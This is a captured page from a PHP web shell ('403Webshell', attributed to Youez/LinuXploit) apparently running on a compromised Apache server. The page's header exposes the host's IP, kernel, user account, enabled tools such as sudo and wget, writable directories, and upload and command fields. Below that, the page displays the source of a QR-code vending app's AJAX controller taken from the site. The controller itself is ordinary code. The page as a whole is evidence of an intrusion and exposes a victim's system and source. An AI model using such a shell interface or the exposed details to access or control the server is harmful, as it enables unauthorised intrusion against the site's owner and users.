403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/rbcvm.ca/trevorpeter-xvend/vm/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rbcvm.ca/trevorpeter-xvend/vm/controller/c-ajax.php
<?php

// Check the user is logged in
require ($cfg['server_path'] . '/check_login.php');

use Endroid\QrCode\Encoding\Encoding;
use Endroid\QrCode\ErrorCorrectionLevel\ErrorCorrectionLevelLow;
use Endroid\QrCode\QrCode;
use Endroid\QrCode\Response\QrCodeResponse;
use Endroid\QrCode\Writer\PngWriter;
use Endroid\QrCode\Color\Color;

if ($_SERVER['REQUEST_METHOD'] == "POST" && isset($_POST['command']) ) {
	
	switch ($_POST['command']) {
		
		case 'cmd_checkCODE':
			
			if ($_POST['data']['uuid'] == $cfg['testUUID']) {
				$sql = "SELECT firstname, lastinitial FROM user WHERE qr_uuid = :uuid LIMIT 1";
			} else {
				$sql = "SELECT firstname, lastinitial FROM user WHERE qr_uuid = :uuid AND vend IS NULL LIMIT 1";
			}
			
			$select = $db->prepare($sql);
			$select->execute( array(":uuid" => $_POST['data']['uuid']) );
			$result = $select->fetch(PDO::FETCH_ASSOC);
			
			if ( isset($result) && !empty($result) ) {
			
				// We have a valid user, now get a vend location
				$sql = "SELECT location FROM machine WHERE quantity > 0 ORDER BY RAND() LIMIT 1";
				$select = $db->prepare($sql);
				$select->execute();
				$v_loc = $select->fetchColumn();
				
				if (!empty($v_loc)) {
					exit(json_encode(array('result' => 'success', "user" => $result, "vend_loc" => $v_loc)));
				} else {
					exit(json_encode(array('result' => 'error', 'message' => 'Machine Empty')));
				}

			} else {
				exit(json_encode(array('result' => 'error', 'message' => 'Invalid QR Code')));

			}
			
		
		break;
				
		case 'cmd_disableCODE':
			
			if ($_POST['data']['uuid'] == $cfg['testUUID']) {
				$sql = "SELECT * FROM user WHERE qr_uuid = :uuid LIMIT 1";
			} else {
				$sql = "SELECT * FROM user WHERE qr_uuid = :uuid AND vend IS NULL LIMIT 1";
			}
			
			$select = $db->prepare($sql);
			$select->execute( array(":uuid" => $_POST['data']['uuid']) );
			$result = $select->fetch(PDO::FETCH_ASSOC);
			
			if (!empty($result)) {
				
				// Update the vend time & location
				$sql = "UPDATE user SET vend = :time, vend_location = :location WHERE qr_uuid = :qr_uuid LIMIT 1";
				$user_update = $db->prepare($sql);
				$user_update->execute( array(":qr_uuid" => $_POST['data']['uuid'], ":time" => time(), ":location" => $_POST['data']['v_loc']) );
			
				// Decrement quantity
				$sql = "UPDATE machine SET quantity = (quantity - 1) WHERE location = :location LIMIT 1";
				$update = $db->prepare($sql);
				$update->execute(array(":location" => $_POST['data']['v_loc']));
			
				exit(json_encode(array('result' => 'success')));
			
			} else {
				exit(json_encode(array('result' => 'error')));
				
			}
			
		break;
		
		case 'decrement_QUANTITY':
		
			//echo ($_POST);
			$sql = "UPDATE machine SET quantity = (quantity - 1) WHERE location = :location LIMIT 1";
			$update = $db->prepare($sql);
			$update->execute(array(":location" => $_POST['loc']));
			
			exit(json_encode(array('result' => 'success')));
		
		break;
		
		case 'save_QUANTITIES':
			
			$stock = json_decode($_POST['stock']);
			//print_r ($stock);
			
			foreach ($stock as $location => $quantity) {
				$sql = "UPDATE machine SET quantity = :quantity WHERE location = :location LIMIT 1";
				$update = $db->prepare($sql);
				$update->execute(array(":quantity" => $quantity, ":location" => $location));
			}
			
			exit(json_encode(array('result' => 'success')));
			
		break;
				
	}
		
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit